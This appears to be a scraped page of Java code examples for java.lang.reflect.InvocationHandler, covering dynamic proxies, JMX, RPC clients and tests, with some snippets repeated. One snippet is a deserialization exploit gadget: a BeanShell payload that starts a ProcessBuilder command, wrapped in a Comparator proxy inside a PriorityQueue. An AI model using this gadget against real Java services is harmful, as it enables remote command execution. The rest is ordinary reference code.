java.lang.reflect.InvocationHandler Java Examples

@Test
public void checkProxyAccess() throws ScriptException {
    final ScriptEngineManager m = new ScriptEngineManager();
    final ScriptEngine e = m.getEngineByName("nashorn");
    final boolean[] reached = new boolean[1];
    final Runnable r = (Runnable)Proxy.newProxyInstance(
        ScriptEngineTest.class.getClassLoader(),
        new Class[] { Runnable.class },
        new InvocationHandler() {
            @Override
            public Object invoke(final Object p, final Method mtd, final Object[] a) {
                reached[0] = true;
                return null;
            }
        });

    e.put("r", r);
    e.eval("r.run()");

    assertTrue(reached[0]);
}
 

private void newInstanceFromConstructor(Class<?> proxyClass)
    throws Exception
{
    // expect newInstance to succeed if it's in the same runtime package
    boolean isSamePackage = proxyClass.getName().lastIndexOf('.') == -1;
    try {
        Constructor cons = proxyClass.getConstructor(InvocationHandler.class);
        cons.newInstance(newInvocationHandler());
        if (!isSamePackage) {
            throw new RuntimeException("ERROR: Constructor.newInstance should not succeed");
        }
    }  catch (IllegalAccessException e) {
        if (isSamePackage) {
            throw e;
        }
    }
}
 

private ApiScope getScope(Annotation currentMethod) throws Throwable {
    InvocationHandler methodHandler = Proxy.getInvocationHandler(currentMethod);
    Annotation[] extensions = (Annotation[]) methodHandler.invoke(currentMethod,
            apiOperation.getMethod(SWAGGER_ANNOTATIONS_EXTENSIONS, null), null);
    if (extensions != null) {
        methodHandler = Proxy.getInvocationHandler(extensions[0]);
        Annotation[] properties = (Annotation[]) methodHandler.invoke(extensions[0], extensionClass
                .getMethod(SWAGGER_ANNOTATIONS_PROPERTIES, null), null);
        String scopeKey;
        String propertyName;
        for (Annotation property : properties) {
            methodHandler = Proxy.getInvocationHandler(property);
            propertyName = (String) methodHandler.invoke(property, extensionPropertyClass
                    .getMethod(SWAGGER_ANNOTATIONS_PROPERTIES_NAME, null), null);
            if (ANNOTATIONS_SCOPE.equals(propertyName)) {
                scopeKey = (String) methodHandler.invoke(property, extensionPropertyClass
                        .getMethod(SWAGGER_ANNOTATIONS_PROPERTIES_VALUE, null), null);
                if (scopeKey.isEmpty()) {
                    return null;
                }
                return apiScopes.get(scopeKey);
            }
        }
    }
    return null;
}
 

/**
 * Transfroms a proxy implementing T in a proxy implementing T plus
 * NotificationEmitter
 *
 **/
public static <T> T makeNotificationEmitter(T proxy,
                    Class<T> mbeanInterface) {
    if (proxy instanceof NotificationEmitter)
        return proxy;
    if (proxy == null) return null;
    if (!(proxy instanceof Proxy))
        throw new IllegalArgumentException("not a "+Proxy.class.getName());
    final Proxy p = (Proxy) proxy;
    final InvocationHandler handler =
            Proxy.getInvocationHandler(proxy);
    if (!(handler instanceof MBeanServerInvocationHandler))
        throw new IllegalArgumentException("not a JMX Proxy");
    final MBeanServerInvocationHandler h =
            (MBeanServerInvocationHandler)handler;
    final ObjectName name = h.getObjectName();
    final MBeanServerConnection mbs = h.getMBeanServerConnection();
    final boolean isMXBean = h.isMXBean();
    final T newProxy;
    if (isMXBean)
        newProxy = JMX.newMXBeanProxy(mbs,name,mbeanInterface,true);
    else
        newProxy = JMX.newMBeanProxy(mbs,name,mbeanInterface,true);
    return newProxy;
}
 

@Override
public <F extends Serializable> RpcServer fenceRpcServer(RpcServer rpcServer, F fencingToken) {
	if (rpcServer instanceof AkkaBasedEndpoint) {

		InvocationHandler fencedInvocationHandler = new FencedAkkaInvocationHandler<>(
			rpcServer.getAddress(),
			rpcServer.getHostname(),
			((AkkaBasedEndpoint) rpcServer).getActorRef(),
			configuration.getTimeout(),
			configuration.getMaximumFramesize(),
			null,
			() -> fencingToken);

		// Rather than using the System ClassLoader directly, we derive the ClassLoader
		// from this class . That works better in cases where Flink runs embedded and all Flink
		// code is loaded dynamically (for example from an OSGI bundle) through a custom ClassLoader
		ClassLoader classLoader = getClass().getClassLoader();

		return (RpcServer) Proxy.newProxyInstance(
			classLoader,
			new Class<?>[]{RpcServer.class, AkkaBasedEndpoint.class},
			fencedInvocationHandler);
	} else {
		throw new RuntimeException("The given RpcServer must implement the AkkaGateway in order to fence it.");
	}
}
 

/**
 * Generate proxy arrays.
 */
Proxy[][] genArrays(int size, int narrays) throws Exception {
    Class proxyClass =
        Proxy.getProxyClass(DummyInterface.class.getClassLoader(),
                new Class[] { DummyInterface.class });
    Constructor proxyCons =
        proxyClass.getConstructor(new Class[] { InvocationHandler.class });
    Object[] consArgs = new Object[] { new DummyHandler() };
    Proxy[][] arrays = new Proxy[narrays][size];
    for (int i = 0; i < narrays; i++) {
        for (int j = 0; j < size; j++) {
            arrays[i][j] = (Proxy) proxyCons.newInstance(consArgs);
        }
    }
    return arrays;
}
 

@Override
public IBinder getService(final Context context, ClassLoader classLoader, IBinder binder) {
	return new StubBinder(classLoader, binder) {
		@Override
		public InvocationHandler createHandler(Class<?> interfaceClass, final IInterface base) {
			return new InvocationHandler() {
				@Override
				public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
					try {
						return method.invoke(base, args);
					} catch (InvocationTargetException e) {
						if (e.getCause() != null) {
							throw e.getCause();
						}
						throw e;
					}
				}
			};
		}
	};
}
 

public void instrumentPeer() {
    origPeer = (ButtonPeer) getPeer();
    InvocationHandler handler = new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            if (method.getName().equals("requestFocus")) {
                Container parent = getParent();
                parent.remove(TestButton.this);
                System.err.println("parent = " + parent);
                System.err.println("target = " + TestButton.this);
                System.err.println("new parent = " + TestButton.this.getParent());
            }
            Object ret = null;
            try {
                ret = method.invoke(origPeer, args);
            } catch (IllegalAccessException iae) {
                throw new Error("Test error.", iae);
            } catch (InvocationTargetException ita) {
                throw new Error("Test error.", ita);
            }
            return ret;
        }
    };

    proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
    setPeer(proxiedPeer);
}
 

private <T extends EtMonitor> EtMonitor generateProxy(String appId, Class<T> monitorInterface) {
    return (EtMonitor) Proxy.newProxyInstance(monitorInterface.getClassLoader(), new Class[] { monitorInterface }, new InvocationHandler() {
        
        private GenericService service = generateService(appId, monitorInterface);
        private ConcurrentHashMap<Method, String[]> mapParameterCLassString = new ConcurrentHashMap<>();
        
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            
            String[] paramTypeStr = mapParameterCLassString.computeIfAbsent(method, m->{
                return Arrays.stream(m.getParameterTypes()).map(clazz->clazz.getName()).toArray(String[]::new);
            });
            
            return service.$invoke(method.getName(), paramTypeStr, args);
        }
    });
}
 

public void instrumentPeer() {
    origPeer = (ButtonPeer) getPeer();
    InvocationHandler handler = new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            if (method.getName().equals("requestFocus")) {
                Container parent = getParent();
                parent.remove(TestButton.this);
                System.err.println("parent = " + parent);
                System.err.println("target = " + TestButton.this);
                System.err.println("new parent = " + TestButton.this.getParent());
            }
            Object ret = null;
            try {
                ret = method.invoke(origPeer, args);
            } catch (IllegalAccessException iae) {
                throw new Error("Test error.", iae);
            } catch (InvocationTargetException ita) {
                throw new Error("Test error.", ita);
            }
            return ret;
        }
    };

    proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
    setPeer(proxiedPeer);
}
 

/**
 * Creates a {@link Proxy} of the given {@code proxyInterface}
 * that uses the given {@link JsonRpcClient}.
 *
 * @param <T>            the proxy type
 * @param classLoader    the {@link ClassLoader}
 * @param proxyInterface the interface to proxy
 * @param client         the {@link JsonRpcClient}
 * @param input          the {@link InputStream}
 * @param output         the {@link OutputStream}
 * @return the proxied interface
 */
@SuppressWarnings({"unchecked", "WeakerAccess"})
public static <T> T createClientProxy(ClassLoader classLoader, Class<T> proxyInterface, final JsonRpcClient client, final InputStream input, final OutputStream output) {
	
	// create and return the proxy
	return (T) Proxy.newProxyInstance(classLoader, new Class<?>[]{proxyInterface}, new InvocationHandler() {
		@Override
		public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
			if (isDeclaringClassAnObject(method)) return proxyObjectMethods(method, proxy, args);
			
			final Object arguments = ReflectionUtil.parseArguments(method, args);
			final String methodName = getMethodName(method);
			return client.invokeAndReadResponse(methodName, arguments, method.getGenericReturnType(), output, input);
		}
	});
}
 

@SuppressWarnings("unchecked")
public <T> T createProxy() {
    ClassLoader loader = client.getClass().getClassLoader();
    Class[] interfaces = client.getClass().getInterfaces();
    InvocationHandler h = new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args)
                throws Throwable {
            if ("getName".equals(method.getName())) {
                //可根据name值过滤方法
            }
            //前置
            if (before != null) {
                before.doBefore();
            }
            Object result = method.invoke(client, args);//执行目标对象的目标方法
            if (after != null) {
                after.doAfter();
            }
            return result;
        }
    };
    return (T) Proxy.newProxyInstance(loader, interfaces, h);
}
 

/**
 * Transfroms a proxy implementing T in a proxy implementing T plus
 * NotificationEmitter
 *
 **/
public static <T> T makeNotificationEmitter(T proxy,
                    Class<T> mbeanInterface) {
    if (proxy instanceof NotificationEmitter)
        return proxy;
    if (proxy == null) return null;
    if (!(proxy instanceof Proxy))
        throw new IllegalArgumentException("not a "+Proxy.class.getName());
    final Proxy p = (Proxy) proxy;
    final InvocationHandler handler =
            Proxy.getInvocationHandler(proxy);
    if (!(handler instanceof MBeanServerInvocationHandler))
        throw new IllegalArgumentException("not a JMX Proxy");
    final MBeanServerInvocationHandler h =
            (MBeanServerInvocationHandler)handler;
    final ObjectName name = h.getObjectName();
    final MBeanServerConnection mbs = h.getMBeanServerConnection();
    final boolean isMXBean = h.isMXBean();
    final T newProxy;
    if (isMXBean)
        newProxy = JMX.newMXBeanProxy(mbs,name,mbeanInterface,true);
    else
        newProxy = JMX.newMBeanProxy(mbs,name,mbeanInterface,true);
    return newProxy;
}
 

public void instrumentPeer() {
    origPeer = (ButtonPeer) getPeer();
    InvocationHandler handler = new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            if (method.getName().equals("requestFocus")) {
                Container parent = getParent();
                parent.remove(TestButton.this);
                System.err.println("parent = " + parent);
                System.err.println("target = " + TestButton.this);
                System.err.println("new parent = " + TestButton.this.getParent());
            }
            Object ret = null;
            try {
                ret = method.invoke(origPeer, args);
            } catch (IllegalAccessException iae) {
                throw new Error("Test error.", iae);
            } catch (InvocationTargetException ita) {
                throw new Error("Test error.", ita);
            }
            return ret;
        }
    };

    proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
    setPeer(proxiedPeer);
}
 

/**
 * Creates a proxy class to a given abstract clazz supplied with invocation handler for
 * un-implemented/abstrat methods.
 *
 * @param clazz Proxy to class.
 * @param paramTypes Ctor param types.
 * @param args Ctor args.
 * @param invocationHandler Invocation handler.
 * @param <T> Class type.
 * @return Proxy instance.
 */
@SuppressWarnings("unchecked")
public static <T> T createProxyFromAbstract(
    Class<T> clazz, Class[] paramTypes, Object[] args, InvocationHandler invocationHandler) {
  ProxyFactory proxyFactory = new ProxyFactory();
  proxyFactory.setSuperclass(clazz);
  proxyFactory.setFilter(method -> Modifier.isAbstract(method.getModifiers()));
  try {
    return (T)
        proxyFactory.create(
            paramTypes,
            args,
            (o, method, method1, objects) -> invocationHandler.invoke(o, method, objects));
  } catch (Exception e) {
    LOGGER.error("Failed creating proxy from abstract class", e);
    throw new RuntimeException("Failed creating proxy from abstract class", e);
  }
}
 

public <T> T create(final Class<T> service) {
    if (!service.isInterface()) {
        throw new IllegalArgumentException("API declarations must be interfaces.");
    }
    // Prevent API interfaces from extending other interfaces. This not only avoids a bug in
    // Android (http://b.android.com/58753) but it forces composition of API declarations which is
    // the recommended pattern.
    if (service.getInterfaces().length > 0) {
        throw new IllegalArgumentException("API interfaces must not extend other interfaces.");
    }

    return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[]{service},
            new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object... args)
                        throws Throwable {
                    // If the method is a method from Object then defer to normal invocation.
                    if (method.getDeclaringClass() == Object.class) {
                        return method.invoke(this, args);
                    }

                    return new BizSocketCall().call(BizSocketRxSupport.this,method,args);
                }
            });
}
 

@SuppressWarnings("unchecked")
public <R extends ResourceRepository<?, ?>> R getRepositoryForInterface(Class<R> repositoryInterfaceClass) {
	init();
	RepositoryInformationProvider informationBuilder = moduleRegistry.getRepositoryInformationBuilder();
	PreconditionUtil.verify(informationBuilder.accept(repositoryInterfaceClass), "%s is not a valid repository interface", repositoryInterfaceClass);
	ResourceRepositoryInformation repositoryInformation =
			(ResourceRepositoryInformation) informationBuilder.build(repositoryInterfaceClass, new DefaultRepositoryInformationProviderContext(moduleRegistry));
	Class<?> resourceClass = repositoryInformation.getResource().getResourceClass();

	Object actionStub = actionStubFactory != null ? actionStubFactory.createStub(repositoryInterfaceClass) : null;
	ResourceRepository<?, Serializable> repositoryStub = getRepositoryForType(resourceClass);

	ClassLoader classLoader = repositoryInterfaceClass.getClassLoader();
	InvocationHandler invocationHandler =
			new ClientStubInvocationHandler(repositoryInterfaceClass, repositoryStub, actionStub);
	return (R) Proxy.newProxyInstance(classLoader, new Class[] { repositoryInterfaceClass, Wrapper.class, ResourceRepository.class },
			invocationHandler);
}
 

@Nonnull
private T buildCompositeValue(@Nullable ComponentManager componentManager) {
  final List<T> extensions = myName.getExtensionList(componentManager == null ? Application.get() : componentManager);

  InvocationHandler handler = new MyInvocationHandler<>(myName, extensions);

  //noinspection unchecked
  return (T)Proxy.newProxyInstance(myClazz.getClassLoader(), new Class[]{myClazz}, handler);
}
 

/**
 * Generate proxy object array of the given size.
 */
Proxy[] genProxies(int size) throws Exception {
    Class proxyClass =
        Proxy.getProxyClass(DummyInterface.class.getClassLoader(),
                new Class[] { DummyInterface.class });
    Constructor proxyCons =
        proxyClass.getConstructor(new Class[] { InvocationHandler.class });
    Object[] consArgs = new Object[] { new DummyHandler() };
    Proxy[] proxies = new Proxy[size];

    for (int i = 0; i < size; i++)
        proxies[i] = (Proxy) proxyCons.newInstance(consArgs);

    return proxies;
}
 

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  if (method.getName().equals("annotationType")) {
    return annotationType;
  }

  if (method.getName().equals("equals")) {
    // Fall back to comparing the actual annotations.
    populateAnnotation();
    if (!Proxy.isProxyClass(args[0].getClass())) {
      return false;
    }
    InvocationHandler rawHandler = Proxy.getInvocationHandler(args[0]);
    if (!(rawHandler instanceof Handler)) {
      return false;
    }
    Handler other = (Handler) rawHandler;
    other.populateAnnotation();
    return annotationCache.equals(other.annotationCache);
  }

  populateValues();
  if (!valueCache.containsKey(method.getName())) {
    throw new IllegalArgumentException("Unrecognized method: " + method.getName());
  }
  AnnotationValue value = valueCache.get(method.getName());
  Object rawValue = new ValueVisitor(method.getReturnType()).visit(value);
  if (rawValue != null) {
    return rawValue;
  }

  // Fall back to trying the annotation.
  populateAnnotation();
  try {
    return method.invoke(annotationCache, args);
  } catch (InvocationTargetException e) {
    throw e.getCause();
  }
}
 

public static MBeanServerForwarder newProxyInstance() {

        final InvocationHandler handler =
            new MBeanServerForwarderInvocationHandler();

        final Class[] interfaces =
            new Class[] {MBeanServerForwarder.class};

        Object proxy = Proxy.newProxyInstance(
                             MBeanServerForwarder.class.getClassLoader(),
                             interfaces,
                             handler);

        return MBeanServerForwarder.class.cast(proxy);
    }
 

public static InvocationHandler getInvocationHandler(final Object proxy) {
    if (LocalBeanProxyFactory.isProxy(proxy.getClass())) {
        return LocalBeanProxyFactory.getInvocationHandler(proxy);
    }
    checkDefaultFactory();
    return defaultFactory.getInvocationHandler(proxy);
}
 

/**
 * 创建一个动态代理根据传入的类型. 如果我们正在维护的是一个Map,那么当调用出现异常时我们将从Map中取值.
 *
 * @param proxyType 需要动态代理的类型
 * @return 动态代理生成的对象
 */
@SuppressWarnings("unchecked")
public <P> P as(Class<P> proxyType) {
    final boolean isMap = (object instanceof Map);
    final InvocationHandler handler = new InvocationHandler() {
        @Mark
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            String name = method.getName();
            try {
                return on(object).call(name, args).get();
            } catch (ReflectException e) {
                if (isMap) {
                    Map<String, Object> map = (Map<String, Object>) object;
                    int length = (args == null ? 0 : args.length);

                    if (length == 0 && name.startsWith("get")) {
                        return map.get(property(name.substring(3)));
                    } else if (length == 0 && name.startsWith("is")) {
                        return map.get(property(name.substring(2)));
                    } else if (length == 1 && name.startsWith("set")) {
                        map.put(property(name.substring(3)), args[0]);
                        return null;
                    }
                }

                throw e;
            }
        }
    };

    return (P) Proxy.newProxyInstance(proxyType.getClassLoader(), new Class[]{proxyType}, handler);
}
 

/** Configures components needed for hystrix integration. */
Feign build(final FallbackFactory<?> nullableFallbackFactory) {
  super.invocationHandlerFactory(new InvocationHandlerFactory() {
    @Override public InvocationHandler create(Target target,
        Map<Method, MethodHandler> dispatch) {
      return new EnhanceInvocationHandler(target, dispatch, setterFactory, nullableFallbackFactory);
    }
  });
  super.contract(new HystrixDelegatingContract(contract));
  return super.build();
}
 

/**
 * Create proxy constructor
 /**
 * Create proxy class
 * @param <T> Expected proxy type
 * @return Constructor of proxy for given classloader and interfaces
 */
public <T> Constructor<T> createConstructor() {
    try {
        return this.<T>createClass().getConstructor(InvocationHandler.class);
    } catch (NoSuchMethodException noSuchMethodException) {
        throw new ProxyException(noSuchMethodException);
    }
}
 

/**
 * Centralised M(X)Bean proxy creation code
 * @param connection {@linkplain MBeanServerConnection} to use
 * @param objectName M(X)Bean object name
 * @param interfaceClass M(X)Bean interface class
 * @param notificationEmitter Is a notification emitter?
 * @param isMXBean Is an MXBean?
 * @return Returns an M(X)Bean proxy generated for the provided interface class
 * @throws SecurityException
 * @throws IllegalArgumentException
 */
private static <T> T createProxy(MBeanServerConnection connection,
                                 ObjectName objectName,
                                 Class<T> interfaceClass,
                                 boolean notificationEmitter,
                                 boolean isMXBean) {

    try {
        if (isMXBean) {
            // Check interface for MXBean compliance
            Introspector.testComplianceMXBeanInterface(interfaceClass);
        } else {
            // Check interface for MBean compliance
            Introspector.testComplianceMBeanInterface(interfaceClass);
        }
    } catch (NotCompliantMBeanException e) {
        throw new IllegalArgumentException(e);
    }

    InvocationHandler handler = new MBeanServerInvocationHandler(
            connection, objectName, isMXBean);
    final Class<?>[] interfaces;
    if (notificationEmitter) {
        interfaces =
            new Class<?>[] {interfaceClass, NotificationEmitter.class};
    } else
        interfaces = new Class<?>[] {interfaceClass};

    Object proxy = Proxy.newProxyInstance(
            interfaceClass.getClassLoader(),
            interfaces,
            handler);
    return interfaceClass.cast(proxy);
}
 

public PriorityQueue getObject(CmdExecuteHelper cmdHelper) throws Exception {
   	

// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Arrays.toString(cmdHelper.getCommandArray()) + "}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
   }
 

@Ignore("Does no work because DS cannot mock dynamic repositories")
@Test
public void saveUserWithMockedBean() {
    final String userName = "gp";
    final String firstName = "Gerhard";
    final String lastName = "Petracek";

    // mockito doesn't support interfaces...seriously? but you can mock CDI impl
    // here we don't have one so implementing for the test the interface
    final UserRepository mockedUserRepository = (UserRepository) Proxy.newProxyInstance(
            Thread.currentThread().getContextClassLoader(),
            new Class<?>[]{UserRepository.class},
            new InvocationHandler() {
                @Override
                public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable {
                    return new User(userName, firstName, lastName.toUpperCase() /*just to illustrate that the mock-instance is used*/);
                }
            });
    mockManager.addMock(mockedUserRepository);


    this.windowContext.activateWindow("testWindow");

    this.registrationPage.getUser().setUserName(userName);
    this.registrationPage.getUser().setFirstName(firstName);
    this.registrationPage.getUser().setLastName(lastName);
    this.registrationPage.getUser().setPassword("123");

    final Class<? extends Pages> targetPage = this.registrationPage.register();

    Assert.assertEquals(Pages.Login.class, targetPage);
    Assert.assertFalse(FacesContext.getCurrentInstance().getMessageList().isEmpty());
    Assert.assertEquals(webappMessageBundle.msgUserRegistered(userName), FacesContext.getCurrentInstance().getMessageList().iterator().next().getSummary());

    final User user = this.userRepository.findByUserName(userName);
    Assert.assertNotNull(user);
    Assert.assertEquals(firstName, user.getFirstName());
    Assert.assertEquals(lastName.toUpperCase(), user.getLastName());
}
 

@Override
public Object getObject() throws Exception {
	return Proxy.newProxyInstance(Thread.currentThread()
			.getContextClassLoader(), new Class[] { iface },
			new InvocationHandler() {
				@Override
				public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

					// filter method like "Object.toString()"
					if (Object.class.getName().equals(method.getDeclaringClass().getName())) {
						logger.error(">>>>>>>>>>> xxl-rpc proxy class-method not support [{}.{}]", method.getDeclaringClass().getName(), method.getName());
						throw new RuntimeException("xxl-rpc proxy class-method not support");
					}
					
					// request
					RpcRequest request = new RpcRequest();
                    request.setServerAddress(serverAddress);
                    request.setCreateMillisTime(System.currentTimeMillis());
                    request.setAccessToken(accessToken);
                    request.setClassName(method.getDeclaringClass().getName());
                    request.setMethodName(method.getName());
                    request.setParameterTypes(method.getParameterTypes());
                    request.setParameters(args);

                    // send
                    RpcResponse response = client.send(request);
                    
                    // valid response
					if (response == null) {
						throw new Exception("Network request fail, response not found.");
					}
                    if (response.isError()) {
                        throw new RuntimeException(response.getError());
                    } else {
                        return response.getResult();
                    }
                   
				}
			});
}
 

public static MBeanServerConnection newChecker(
        ProxyClient client, MBeanServerConnection mbsc) {
    final InvocationHandler ih = new CheckerInvocationHandler(mbsc);
    return (MBeanServerConnection) Proxy.newProxyInstance(
            Checker.class.getClassLoader(),
            new Class[]{MBeanServerConnection.class},
            ih);
}